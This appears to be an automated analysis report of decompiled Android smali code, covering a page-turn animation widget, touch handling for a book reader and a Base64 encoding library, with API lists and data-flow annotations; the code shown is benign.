22iget-object v1, p0, Lcom/google/services/PageWidget;->mBeziervertex1:Landroid/graphics/PointF;
23iget v1, v1, Landroid/graphics/PointF;->x:F
25iget-object v2, p0, Lcom/google/services/PageWidget;->mBeziervertex1:Landroid/graphics/PointF;
26iget v2, v2, Landroid/graphics/PointF;->y:F
28invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V
30iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
32iget-object v1, p0, Lcom/google/services/PageWidget;->mBeziervertex2:Landroid/graphics/PointF;
33iget v1, v1, Landroid/graphics/PointF;->x:F
35iget-object v2, p0, Lcom/google/services/PageWidget;->mBeziervertex2:Landroid/graphics/PointF;
36iget v2, v2, Landroid/graphics/PointF;->y:F
38invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V
40iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
42iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF;
43iget v1, v1, Landroid/graphics/PointF;->x:F
45iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF;
46iget v2, v2, Landroid/graphics/PointF;->y:F
48invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V
50iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
51iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I
52int-to-float v1, v1
53iget v2, p0, Lcom/google/services/PageWidget;->mCornerY:I
54int-to-float v2, v2
56invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V
58iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
60invoke-virtual {v0}, Landroid/graphics/Path;->close()V
62iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
63iget v0, v0, Landroid/graphics/PointF;->x:F
64iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I
65int-to-float v1, v1
66sub-float/2addr v0, v1
67float-to-double v0, v0
69iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
70iget v2, v2, Landroid/graphics/PointF;->y:F
71iget v3, p0, Lcom/google/services/PageWidget;->mCornerY:I
72int-to-float v3, v3
73sub-float/2addr v2, v3
74float-to-double v2, v2
76invoke-static {v0, v1, v2, v3}, Ljava/lang/Math;->atan2(DD)D
77move-result-wide v0
79invoke-static {v0, v1}, Ljava/lang/Math;->toDegrees(D)D
80move-result-wide v0
81double-to-float v0, v0
82iput v0, p0, Lcom/google/services/PageWidget;->mDegrees:F
83iget-boolean v0, p0, Lcom/google/services/PageWidget;->mIsRTandLB:Z
84if-eqz v0, :cond_b4
86iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
87iget v0, v0, Landroid/graphics/PointF;->x:F
88float-to-int v2, v0
90iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
91iget v0, v0, Landroid/graphics/PointF;->x:F
92iget v1, p0, Lcom/google/services/PageWidget;->mTouchToCornerDis:F
93div-float/2addr v1, v4
94add-float/2addr v0, v1
95float-to-int v1, v0
97iget-object v0, p0, Lcom/google/services/PageWidget;->mBackShadowDrawableLR:Landroid/graphics/drawable/GradientDrawable;
98goto_7d:
99invoke-virtual {p1}, Landroid/graphics/Canvas;->save()I
101iget-object v3, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path;
103invoke-virtual {p1, v3}, Landroid/graphics/Canvas;->clipPath(Landroid/graphics/Path;)Z
105iget-object v3, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path;
107sget-object v4, Landroid/graphics/Region$Op;->INTERSECT:Landroid/graphics/Region$Op;
109invoke-virtual {p1, v3, v4}, Landroid/graphics/Canvas;->clipPath(Landroid/graphics/Path;Landroid/graphics/Region$Op;)Z
110const/4 v3, 0x0
112invoke-virtual {p1, p2, v5, v5, v3}, Landroid/graphics/Canvas;->drawBitmap(Landroid/graphics/Bitmap;FFLandroid/graphics/Paint;)V
  • Data flow analysis:
    • p1: 0
    • p2: 0
    • p3: 0
113iget v3, p0, Lcom/google/services/PageWidget;->mDegrees:F
115iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
116iget v4, v4, Landroid/graphics/PointF;->x:F
118iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
119iget v5, v5, Landroid/graphics/PointF;->y:F
121invoke-virtual {p1, v3, v4, v5}, Landroid/graphics/Canvas;->rotate(FFF)V
123iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
124iget v3, v3, Landroid/graphics/PointF;->y:F
125float-to-int v3, v3
126iget v4, p0, Lcom/google/services/PageWidget;->mMaxLength:F
128iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
129iget v5, v5, Landroid/graphics/PointF;->y:F
130add-float/2addr v4, v5
131float-to-int v4, v4
133invoke-virtual {v0, v2, v3, v1, v4}, Landroid/graphics/drawable/GradientDrawable;->setBounds(IIII)V
135invoke-virtual {v0, p1}, Landroid/graphics/drawable/GradientDrawable;->draw(Landroid/graphics/Canvas;)V
137invoke-virtual {p1}, Landroid/graphics/Canvas;->restore()V
138return-void
139cond_b4:
140iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
141iget v0, v0, Landroid/graphics/PointF;->x:F
142iget v1, p0, Lcom/google/services/PageWidget;->mTouchToCornerDis:F
143div-float/2addr v1, v4
144sub-float/2addr v0, v1
145float-to-int v2, v0
147iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
148iget v0, v0, Landroid/graphics/PointF;->x:F
149float-to-int v1, v0
151iget-object v0, p0, Lcom/google/services/PageWidget;->mBackShadowDrawableRL:Landroid/graphics/drawable/GradientDrawable;
152goto/16 :goto_7d
APIs
  • com.google.services.turntest.access$000
  • android.view.MotionEvent.getAction
  • com.google.services.turntest.access$000
  • com.google.services.PageWidget.abortAnimation
  • com.google.services.turntest.access$000
  • android.view.MotionEvent.getX
  • android.view.MotionEvent.getY
  • com.google.services.PageWidget.calcCornerXY
  • com.google.services.turntest.access$000
  • com.google.services.PageWidget.DragToRight
  • java.io.IOException.printStackTrace
  • com.google.services.turntest.access$000
  • com.google.services.PageWidget.setBitmaps
  • com.google.services.turntest.access$000
  • com.google.services.PageWidget.doTouchEvent
  • java.io.IOException.printStackTrace
Position Instruction Meta Information
0.parameter
1.parameter
2.prologue
3const/4 v0, 0x0
5iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
7invoke-static {v1}, Lcom/google/services/turntest;->access$000(Lcom/google/services/turntest;)Lcom/google/services/PageWidget;
8move-result-object v1
9if-ne p1, v1, :cond_51
11invoke-virtual {p2}, Landroid/view/MotionEvent;->getAction()I
12move-result v1
13if-nez v1, :cond_73
15iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
17invoke-static {v1}, Lcom/google/services/turntest;->access$000(Lcom/google/services/turntest;)Lcom/google/services/PageWidget;
18move-result-object v1
20invoke-virtual {v1}, Lcom/google/services/PageWidget;->abortAnimation()V
22iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
24invoke-static {v1}, Lcom/google/services/turntest;->access$000(Lcom/google/services/turntest;)Lcom/google/services/PageWidget;
25move-result-object v1
27invoke-virtual {p2}, Landroid/view/MotionEvent;->getX()F
28move-result v2
30invoke-virtual {p2}, Landroid/view/MotionEvent;->getY()F
31move-result v3
33invoke-virtual {v1, v2, v3}, Lcom/google/services/PageWidget;->calcCornerXY(FF)V
35iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
37iget-object v1, v1, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory;
39iget-object v2, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
41iget-object v2, v2, Lcom/google/services/turntest;->mCurPageCanvas:Landroid/graphics/Canvas;
43invoke-virtual {v1, v2}, Lcom/google/services/BookPageFactory;->wilDraw(Landroid/graphics/Canvas;)V
45iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
47invoke-static {v1}, Lcom/google/services/turntest;->access$000(Lcom/google/services/turntest;)Lcom/google/services/PageWidget;
48move-result-object v1
50invoke-virtual {v1}, Lcom/google/services/PageWidget;->DragToRight()Z
51move-result v1
52if-eqz v1, :cond_7e
53try_start_40:
54iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
56iget-object v1, v1, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory;
58invoke-virtual {v1}, Lcom/google/services/BookPageFactory;->prePage()V
59try_end_47:
60iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
62iget-object v1, v1, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory;
64invoke-virtual {v1}, Lcom/google/services/BookPageFactory;->isfirstPage()Z
65move-result v1
66if-eqz v1, :cond_57
67goto_51: return v0
68catch_52: move-exception v1
70invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V
71goto/16 :goto_47
72cond_57:
73iget-object v0, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
75iget-object v0, v0, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory;
77iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
79iget-object v1, v1, Lcom/google/services/turntest;->mNextPageCanvas:Landroid/graphics/Canvas;
81invoke-virtual {v0, v1}, Lcom/google/services/BookPageFactory;->wilDraw(Landroid/graphics/Canvas;)V
82goto_62:
83iget-object v0, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
85invoke-static {v0}, Lcom/google/services/turntest;->access$000(Lcom/google/services/turntest;)Lcom/google/services/PageWidget;
86move-result-object v0
88iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
90iget-object v1, v1, Lcom/google/services/turntest;->mCurPageBitmap:Landroid/graphics/Bitmap;
92iget-object v2, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
94iget-object v2, v2, Lcom/google/services/turntest;->mNextPageBitmap:Landroid/graphics/Bitmap;
96invoke-virtual {v0, v1, v2}, Lcom/google/services/PageWidget;->setBitmaps(Landroid/graphics/Bitmap;Landroid/graphics/Bitmap;)V
97cond_73:
98iget-object v0, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
100invoke-static {v0}, Lcom/google/services/turntest;->access$000(Lcom/google/services/turntest;)Lcom/google/services/PageWidget;
101move-result-object v0
103invoke-virtual {v0, p2}, Lcom/google/services/PageWidget;->doTouchEvent(Landroid/view/MotionEvent;)Z
104move-result v0
105goto/16 :goto_51
106try_start_7e:
107iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
109iget-object v1, v1, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory;
111invoke-virtual {v1}, Lcom/google/services/BookPageFactory;->nextPage()V
112goto_85:
113iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
115iget-object v1, v1, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory;
117invoke-virtual {v1}, Lcom/google/services/BookPageFactory;->islastPage()Z
118move-result v1
119if-nez v1, :cond_51
121iget-object v0, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
123iget-object v0, v0, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory;
125iget-object v1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
127iget-object v1, v1, Lcom/google/services/turntest;->mNextPageCanvas:Landroid/graphics/Canvas;
129invoke-virtual {v0, v1}, Lcom/google/services/BookPageFactory;->wilDraw(Landroid/graphics/Canvas;)V
130goto/16 :goto_62
131catch_9b: move-exception v1
133invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V
134goto/16 :goto_85
APIs
  • android.graphics.drawable.GradientDrawable.<init>
  • android.graphics.drawable.GradientDrawable.setGradientType
  • android.graphics.drawable.GradientDrawable.<init>
  • android.graphics.drawable.GradientDrawable.setGradientType
  • android.graphics.drawable.GradientDrawable.<init>
  • android.graphics.drawable.GradientDrawable.setGradientType
  • android.graphics.drawable.GradientDrawable.<init>
  • android.graphics.drawable.GradientDrawable.setGradientType
  • android.graphics.drawable.GradientDrawable.<init>
  • android.graphics.drawable.GradientDrawable.setGradientType
  • android.graphics.drawable.GradientDrawable.<init>
  • android.graphics.drawable.GradientDrawable.setGradientType
  • android.graphics.drawable.GradientDrawable.<init>
  • android.graphics.drawable.GradientDrawable.setGradientType
  • android.graphics.drawable.GradientDrawable.<init>
  • android.graphics.drawable.GradientDrawable.setGradientType
Position Instruction Meta Information
0.prologue
1const/4 v4, 0x2
2const/4 v3, 0x0
3new-array v0, v4, [I
4fill-array-data v0, :array_92
5new-instance v1, Landroid/graphics/drawable/GradientDrawable;
7sget-object v2, Landroid/graphics/drawable/GradientDrawable$Orientation;->RIGHT_LEFT:Landroid/graphics/drawable/GradientDrawable$Orientation;
9invoke-direct {v1, v2, v0}, Landroid/graphics/drawable/GradientDrawable;-><init>(Landroid/graphics/drawable/GradientDrawable$Orientation;[I)V
10iput-object v1, p0, Lcom/google/services/PageWidget;->mFolderShadowDrawableRL:Landroid/graphics/drawable/GradientDrawable;
12iget-object v1, p0, Lcom/google/services/PageWidget;->mFolderShadowDrawableRL:Landroid/graphics/drawable/GradientDrawable;
14invoke-virtual {v1, v3}, Landroid/graphics/drawable/GradientDrawable;->setGradientType(I)V
  • Data flow analysis:
    • gradient: 0
15new-instance v1, Landroid/graphics/drawable/GradientDrawable;
17sget-object v2, Landroid/graphics/drawable/GradientDrawable$Orientation;->LEFT_RIGHT:Landroid/graphics/drawable/GradientDrawable$Orientation;
19invoke-direct {v1, v2, v0}, Landroid/graphics/drawable/GradientDrawable;-><init>(Landroid/graphics/drawable/GradientDrawable$Orientation;[I)V
20iput-object v1, p0, Lcom/google/services/PageWidget;->mFolderShadowDrawableLR:Landroid/graphics/drawable/GradientDrawable;
22iget-object v0, p0, Lcom/google/services/PageWidget;->mFolderShadowDrawableLR:Landroid/graphics/drawable/GradientDrawable;
24invoke-virtual {v0, v3}, Landroid/graphics/drawable/GradientDrawable;->setGradientType(I)V
  • Data flow analysis:
    • gradient: 0
25new-array v0, v4, [I
26fill-array-data v0, :array_9a
27iput-object v0, p0, Lcom/google/services/PageWidget;->mBackShadowColors:[I
28new-instance v0, Landroid/graphics/drawable/GradientDrawable;
30sget-object v1, Landroid/graphics/drawable/GradientDrawable$Orientation;->RIGHT_LEFT:Landroid/graphics/drawable/GradientDrawable$Orientation;
32iget-object v2, p0, Lcom/google/services/PageWidget;->mBackShadowColors:[I
34invoke-direct {v0, v1, v2}, Landroid/graphics/drawable/GradientDrawable;-><init>(Landroid/graphics/drawable/GradientDrawable$Orientation;[I)V
35iput-object v0, p0, Lcom/google/services/PageWidget;->mBackShadowDrawableRL:Landroid/graphics/drawable/GradientDrawable;
37iget-object v0, p0, Lcom/google/services/PageWidget;->mBackShadowDrawableRL:Landroid/graphics/drawable/GradientDrawable;
39invoke-virtual {v0, v3}, Landroid/graphics/drawable/GradientDrawable;->setGradientType(I)V
  • Data flow analysis:
    • gradient: 0
40new-instance v0, Landroid/graphics/drawable/GradientDrawable;
42sget-object v1, Landroid/graphics/drawable/GradientDrawable$Orientation;->LEFT_RIGHT:Landroid/graphics/drawable/GradientDrawable$Orientation;
44iget-object v2, p0, Lcom/google/services/PageWidget;->mBackShadowColors:[I
46invoke-direct {v0, v1, v2}, Landroid/graphics/drawable/GradientDrawable;-><init>(Landroid/graphics/drawable/GradientDrawable$Orientation;[I)V
47iput-object v0, p0, Lcom/google/services/PageWidget;->mBackShadowDrawableLR:Landroid/graphics/drawable/GradientDrawable;
49iget-object v0, p0, Lcom/google/services/PageWidget;->mBackShadowDrawableLR:Landroid/graphics/drawable/GradientDrawable;
51invoke-virtual {v0, v3}, Landroid/graphics/drawable/GradientDrawable;->setGradientType(I)V
  • Data flow analysis:
    • gradient: 0
52new-array v0, v4, [I
53fill-array-data v0, :array_a2
54iput-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowColors:[I
55new-instance v0, Landroid/graphics/drawable/GradientDrawable;
57sget-object v1, Landroid/graphics/drawable/GradientDrawable$Orientation;->LEFT_RIGHT:Landroid/graphics/drawable/GradientDrawable$Orientation;
59iget-object v2, p0, Lcom/google/services/PageWidget;->mFrontShadowColors:[I
61invoke-direct {v0, v1, v2}, Landroid/graphics/drawable/GradientDrawable;-><init>(Landroid/graphics/drawable/GradientDrawable$Orientation;[I)V
62iput-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableVLR:Landroid/graphics/drawable/GradientDrawable;
64iget-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableVLR:Landroid/graphics/drawable/GradientDrawable;
66invoke-virtual {v0, v3}, Landroid/graphics/drawable/GradientDrawable;->setGradientType(I)V
  • Data flow analysis:
    • gradient: 0
67new-instance v0, Landroid/graphics/drawable/GradientDrawable;
69sget-object v1, Landroid/graphics/drawable/GradientDrawable$Orientation;->RIGHT_LEFT:Landroid/graphics/drawable/GradientDrawable$Orientation;
71iget-object v2, p0, Lcom/google/services/PageWidget;->mFrontShadowColors:[I
73invoke-direct {v0, v1, v2}, Landroid/graphics/drawable/GradientDrawable;-><init>(Landroid/graphics/drawable/GradientDrawable$Orientation;[I)V
74iput-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableVRL:Landroid/graphics/drawable/GradientDrawable;
76iget-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableVRL:Landroid/graphics/drawable/GradientDrawable;
78invoke-virtual {v0, v3}, Landroid/graphics/drawable/GradientDrawable;->setGradientType(I)V
  • Data flow analysis:
    • gradient: 0
79new-instance v0, Landroid/graphics/drawable/GradientDrawable;
81sget-object v1, Landroid/graphics/drawable/GradientDrawable$Orientation;->TOP_BOTTOM:Landroid/graphics/drawable/GradientDrawable$Orientation;
83iget-object v2, p0, Lcom/google/services/PageWidget;->mFrontShadowColors:[I
85invoke-direct {v0, v1, v2}, Landroid/graphics/drawable/GradientDrawable;-><init>(Landroid/graphics/drawable/GradientDrawable$Orientation;[I)V
86iput-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableHTB:Landroid/graphics/drawable/GradientDrawable;
88iget-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableHTB:Landroid/graphics/drawable/GradientDrawable;
90invoke-virtual {v0, v3}, Landroid/graphics/drawable/GradientDrawable;->setGradientType(I)V
  • Data flow analysis:
    • gradient: 0
91new-instance v0, Landroid/graphics/drawable/GradientDrawable;
93sget-object v1, Landroid/graphics/drawable/GradientDrawable$Orientation;->BOTTOM_TOP:Landroid/graphics/drawable/GradientDrawable$Orientation;
95iget-object v2, p0, Lcom/google/services/PageWidget;->mFrontShadowColors:[I
97invoke-direct {v0, v1, v2}, Landroid/graphics/drawable/GradientDrawable;-><init>(Landroid/graphics/drawable/GradientDrawable$Orientation;[I)V
98iput-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableHBT:Landroid/graphics/drawable/GradientDrawable;
100iget-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableHBT:Landroid/graphics/drawable/GradientDrawable;
102invoke-virtual {v0, v3}, Landroid/graphics/drawable/GradientDrawable;->setGradientType(I)V
  • Data flow analysis:
    • gradient: 0
103return-void
APIs
  • java.lang.String.getBytes
  • java.io.OutputStream.write
  • java.lang.String.charAt
  • java.io.OutputStream.write
  • java.lang.String.charAt
Strings
  • \r\n
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Ljava/io/IOException;
3}
4.end annotation
5.prologue
6const/4 v5, 0x0
7iget v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->bytecounter:I
8if-lez v0, :cond_60
9iget v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->linelength:I
10if-lez v0, :cond_1c
11iget v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->linecounter:I
12iget v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->linelength:I
13if-ne v0, v1, :cond_1c
15iget-object v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->outputStream:Ljava/io/OutputStream;
17const-string v1, "\r\n"
19invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
20move-result-object v1
22invoke-virtual {v0, v1}, Ljava/io/OutputStream;->write([B)V
23iput v5, p0, Lit/sauronsoftware/base64/Base64OutputStream;->linecounter:I
24cond_1c:
25sget-object v0, Lit/sauronsoftware/base64/Shared;->chars:Ljava/lang/String;
26iget v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->buffer:I
27shl-int/lit8 v1, v1, 0x8
28ushr-int/lit8 v1, v1, 0x1a
30invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
31move-result v2
33sget-object v0, Lit/sauronsoftware/base64/Shared;->chars:Ljava/lang/String;
34iget v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->buffer:I
35shl-int/lit8 v1, v1, 0xe
36ushr-int/lit8 v1, v1, 0x1a
38invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
39move-result v3
40iget v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->bytecounter:I
41const/4 v1, 0x2
42if-ge v0, v1, :cond_61
43sget-char v0, Lit/sauronsoftware/base64/Shared;->pad:C
44goto_3b: iget v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->bytecounter:I
45const/4 v4, 0x3
46if-ge v1, v4, :cond_6e
47sget-char v1, Lit/sauronsoftware/base64/Shared;->pad:C
48goto_42:
49iget-object v4, p0, Lit/sauronsoftware/base64/Base64OutputStream;->outputStream:Ljava/io/OutputStream;
51invoke-virtual {v4, v2}, Ljava/io/OutputStream;->write(I)V
53iget-object v2, p0, Lit/sauronsoftware/base64/Base64OutputStream;->outputStream:Ljava/io/OutputStream;
55invoke-virtual {v2, v3}, Ljava/io/OutputStream;->write(I)V
57iget-object v2, p0, Lit/sauronsoftware/base64/Base64OutputStream;->outputStream:Ljava/io/OutputStream;
59invoke-virtual {v2, v0}, Ljava/io/OutputStream;->write(I)V
61iget-object v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->outputStream:Ljava/io/OutputStream;
63invoke-virtual {v0, v1}, Ljava/io/OutputStream;->write(I)V
64iget v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->linecounter:I
65add-int/lit8 v0, v0, 0x4
66iput v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->linecounter:I
67iput v5, p0, Lit/sauronsoftware/base64/Base64OutputStream;->bytecounter:I
68iput v5, p0, Lit/sauronsoftware/base64/Base64OutputStream;->buffer:I
69cond_60: return-void
70cond_61:
71sget-object v0, Lit/sauronsoftware/base64/Shared;->chars:Ljava/lang/String;
72iget v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->buffer:I
73shl-int/lit8 v1, v1, 0x14
74ushr-int/lit8 v1, v1, 0x1a
76invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
77move-result v0
78goto/16 :goto_3b
79cond_6e:
80sget-object v1, Lit/sauronsoftware/base64/Shared;->chars:Ljava/lang/String;
81iget v4, p0, Lit/sauronsoftware/base64/Base64OutputStream;->buffer:I
82shl-int/lit8 v4, v4, 0x1a
83ushr-int/lit8 v4, v4, 0x1a
85invoke-virtual {v1, v4}, Ljava/lang/String;->charAt(I)C
86move-result v1
87goto/16 :goto_42
APIs
  • java.lang.String.getBytes
  • java.lang.String.<init>
  • java.lang.RuntimeException.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.RuntimeException.<init>
Strings
  • ASCII
  • ASCII is not supported!
  • Unsupported charset:
Position Instruction Meta Information
0.parameter
1.parameter
2.annotation system Ldalvik/annotation/Throws;
3value = {
4Ljava/lang/RuntimeException;
5}
6.end annotation
7.prologue
8try_start_0:
9const-string v0, "ASCII"
11invoke-virtual {p0, v0}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
  • Data flow analysis:
    • p0: ASCII
12try_end_5: move-result-object v0
14invoke-static {v0}, Lit/sauronsoftware/base64/Base64;->decode([B)[B
15move-result-object v0
16try_start_a: new-instance v1, Ljava/lang/String;
18invoke-direct {v1, v0, p1}, Ljava/lang/String;-><init>([BLjava/lang/String;)V
19try_end_f: return-object v1
20catch_10: move-exception v0
21new-instance v1, Ljava/lang/RuntimeException;
23const-string v2, "ASCII is not supported!"
25invoke-direct {v1, v2, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
  • Data flow analysis:
    • p0: ASCII is not supported!
26throw v1
27catch_19: move-exception v0
28new-instance v1, Ljava/lang/RuntimeException;
29new-instance v2, Ljava/lang/StringBuilder;
31invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
33const-string v3, "Unsupported charset: "
35invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Unsupported charset:
36move-result-object v2
38invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
39move-result-object v2
41invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
42move-result-object v2
44invoke-direct {v1, v2, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
45throw v1
APIs
  • android.graphics.Path.reset
  • android.graphics.Path.moveTo
  • android.graphics.Path.quadTo
  • android.graphics.Path.lineTo
  • android.graphics.Path.quadTo
  • android.graphics.Path.lineTo
  • android.graphics.Path.close
  • android.graphics.Canvas.save
  • android.graphics.Canvas.clipPath
  • android.graphics.Canvas.drawBitmap
  • android.graphics.Canvas.restore
Position Instruction Meta Information
0.parameter
1.parameter
2.parameter
3.prologue
4const/4 v5, 0x0
6iget-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path;
8invoke-virtual {v0}, Landroid/graphics/Path;->reset()V
10iget-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path;
12iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
13iget v1, v1, Landroid/graphics/PointF;->x:F
15iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
16iget v2, v2, Landroid/graphics/PointF;->y:F
18invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->moveTo(FF)V
20iget-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path;
22iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
23iget v1, v1, Landroid/graphics/PointF;->x:F
25iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
26iget v2, v2, Landroid/graphics/PointF;->y:F
28iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierEnd1:Landroid/graphics/PointF;
29iget v3, v3, Landroid/graphics/PointF;->x:F
31iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierEnd1:Landroid/graphics/PointF;
32iget v4, v4, Landroid/graphics/PointF;->y:F
34invoke-virtual {v0, v1, v2, v3, v4}, Landroid/graphics/Path;->quadTo(FFFF)V
36iget-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path;
38iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
39iget v1, v1, Landroid/graphics/PointF;->x:F
41iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
42iget v2, v2, Landroid/graphics/PointF;->y:F
44invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V
46iget-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path;
48iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierEnd2:Landroid/graphics/PointF;
49iget v1, v1, Landroid/graphics/PointF;->x:F
51iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierEnd2:Landroid/graphics/PointF;
52iget v2, v2, Landroid/graphics/PointF;->y:F
54invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V
56iget-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path;
58iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
59iget v1, v1, Landroid/graphics/PointF;->x:F
61iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
62iget v2, v2, Landroid/graphics/PointF;->y:F
64iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF;
65iget v3, v3, Landroid/graphics/PointF;->x:F
67iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF;
68iget v4, v4, Landroid/graphics/PointF;->y:F
70invoke-virtual {v0, v1, v2, v3, v4}, Landroid/graphics/Path;->quadTo(FFFF)V
